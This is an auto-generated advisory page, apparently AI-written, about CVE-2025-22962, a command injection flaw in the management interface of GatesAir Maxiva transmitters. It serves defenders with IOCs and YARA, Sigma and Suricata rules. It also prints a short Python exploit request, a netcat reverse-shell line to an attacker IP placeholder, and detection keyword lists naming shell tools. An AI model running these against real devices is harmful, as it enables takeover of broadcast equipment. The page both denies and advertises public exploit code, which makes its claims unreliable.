CVE-2025-22962
Executive Summary
CVE-2025-22962 is a critical remote code execution (RCE) vulnerability in the web-based management interface of GatesAir Maxiva UAXT and VAXT transmitters. When debugging mode is enabled, an attacker with a valid session ID (sess_id) can send specially crafted POST requests to the /json endpoint, leading to arbitrary command execution on the underlying system. This can result in full system compromise, including unauthorized access, privilege escalation, and complete device takeover. No public proof-of-concept or patch is currently available, and the CVSS score is listed as 0.0 due to incomplete NVD data. The vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application) and CWE-78 (Improper Neutralization of Special Elements used in an OS Command).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects embedded broadcast transmitter hardware from GatesAir. Supply chain risks include compromised firmware updates or unauthorized access to the management interface.
CVSS Breakdown & Threat Level
While the official CVSS score is 0.0 (unassigned), based on the description and impact, a reasonable CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N)
- Attack Complexity (AC): Low (L)
- Privileges Required (PR): Low (L) – requires valid sess_id
- User Interaction (UI): None (N)
- Scope (S): Unchanged (U)
- Confidentiality (C): High (H)
- Integrity (I): High (H)
- Availability (A): High (H)
Estimated CVSS Score: 8.8 (High)
Threat Level: Critical – due to potential for full device takeover and use in broadcast infrastructure attacks.
Deep Dive & Mechanics
The vulnerability resides in the /json endpoint of the web-based management interface. When debugging mode is enabled, the endpoint does not properly sanitize user-supplied input in POST requests. An attacker who has obtained a valid session ID (sess_id) can inject arbitrary operating system commands into parameters processed by the backend. The commands are executed with the privileges of the web server process, typically root or a high-privilege user, leading to full system compromise.
Root Cause: Lack of input validation and command injection in the /json endpoint when debugging mode is active.
Attack Flow:
- Attacker obtains a valid sess_id (e.g., via session hijacking, brute-force, or prior access).
- Attacker sends a POST request to
/jsonwith crafted payload containing OS commands. - The backend executes the commands without sanitization.
- Attacker gains remote shell access, escalates privileges, and takes over the device.
Vulnerable vs. Patched Code
No official patch or patched code is available. The vulnerable code is presumed to be in the web server handling the /json endpoint. A patched version would implement strict input validation, parameterized commands, and disable debugging mode by default.
Vulnerable Code (Conceptual):
# Vulnerable: direct command execution
import subprocess
def handle_json(request):
cmd = request.POST.get('command')
result = subprocess.check_output(cmd, shell=True)
return result
Patched Code (Conceptual):
# Patched: input validation and no shell=True
import subprocess
import shlex
ALLOWED_COMMANDS = ['status', 'restart', 'config']
def handle_json(request):
cmd = request.POST.get('command')
if cmd not in ALLOWED_COMMANDS:
return "Invalid command", 403
result = subprocess.check_output([cmd], shell=False)
return result
Exploitation & Lab Setup
Red Team
Prerequisites:
- Valid session ID (sess_id)
- Network access to the management interface (typically port 80/443)
- Debugging mode enabled on the target
Exploitation Steps:
- Obtain a valid sess_id (e.g., via session hijacking or brute-force).
- Craft a POST request to
/jsonwith command injection payload. - Execute arbitrary commands (e.g., reverse shell, data exfiltration).
Example Exploit (Python):
import requests
target = "http://<target_ip>/json"
sess_id = "valid_session_id_here"
payload = {"command": "id; whoami; uname -a"}
headers = {"Cookie": f"sess_id={sess_id}"}
response = requests.post(target, data=payload, headers=headers)
print(response.text)
Reverse Shell Payload:
# Using netcat
command = "nc -e /bin/sh <attacker_ip> 4444"
Blue Team
Detection:
- Monitor for POST requests to
/jsonwith unusual parameters. - Alert on commands like
id,whoami,uname,nc,bash,python. - Look for anomalous session IDs or repeated failed authentication attempts.
Honeypot:
- Deploy a decoy Maxiva transmitter with debugging mode enabled.
- Log all POST requests to
/jsonfor analysis.
Lab Setup:
- Use a virtualized environment with a GatesAir Maxiva simulator (if available) or a generic Linux web server with a vulnerable endpoint.
- Tools: Burp Suite, Metasploit, custom Python scripts.
Indicators of Compromise (IOCs)
Network IOCs:
- POST requests to
/jsonwith suspicious parameters (e.g.,command,exec,run). - Outbound connections from the transmitter to unknown IPs on high ports (e.g., 4444, 1337).
- Unusual session IDs or repeated session ID brute-force attempts.
- POST requests to
Host IOCs:
- Unexpected processes (e.g.,
nc,bash,pythonreverse shells). - Modified system binaries or scripts.
- New user accounts or SSH keys.
- Log entries showing command execution via
/json.
- Unexpected processes (e.g.,
File IOCs:
- Temporary files in
/tmpwith suspicious names (e.g.,.sh,.py). - Modified web server configuration files.
- Temporary files in
Detection Engineering
YARA Rule
rule CVE_2025_22962_Command_Injection {
meta:
description = "Detects command injection attempts against GatesAir Maxiva /json endpoint"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-22962"
strings:
$cmd1 = "command=" ascii wide nocase
$cmd2 = "exec=" ascii wide nocase
$cmd3 = "run=" ascii wide nocase
$payload1 = "id" ascii wide
$payload2 = "whoami" ascii wide
$payload3 = "uname" ascii wide
$payload4 = "nc " ascii wide
$payload5 = "bash -i" ascii wide
condition:
any of ($cmd*) and any of ($payload*)
}
Sigma Rule
title: CVE-2025-22962 - GatesAir Maxiva Command Injection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to /json endpoint with command injection payloads
author: Valters IT
date: 2025-04-10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-22962
logsource:
category: webserver
product: apache
service: access_log
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/json'
keywords:
- 'command='
- 'exec='
- 'run='
- 'id'
- 'whoami'
- 'uname'
- 'nc '
- 'bash -i'
condition: selection and keywords
falsepositives:
- Legitimate debugging commands if allowed
level: critical
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"CVE-2025-22962 GatesAir Maxiva Command Injection"; flow:to_server,established; content:"POST"; http_method; content:"/json"; http_uri; content:"command="; http_client_body; pcre:"/(id|whoami|uname|nc\s|bash\s-i)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable debugging mode on all GatesAir Maxiva UAXT/VAXT transmitters.
- Restrict network access to the management interface (use VPN or firewall rules).
- Change all session IDs and enforce strong session management.
- Monitor logs for suspicious POST requests to
/json.
Long-term Fix:
- Apply vendor patch when available.
- Implement input validation and command whitelisting.
- Upgrade to a secure firmware version.
Workarounds:
- Use a reverse proxy to filter malicious requests.
- Deploy WAF rules to block command injection patterns.
Valters IT Signature
This report was generated by Valters IT DevSecOps AI Assistant. For questions, contact security@valters-it.com.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.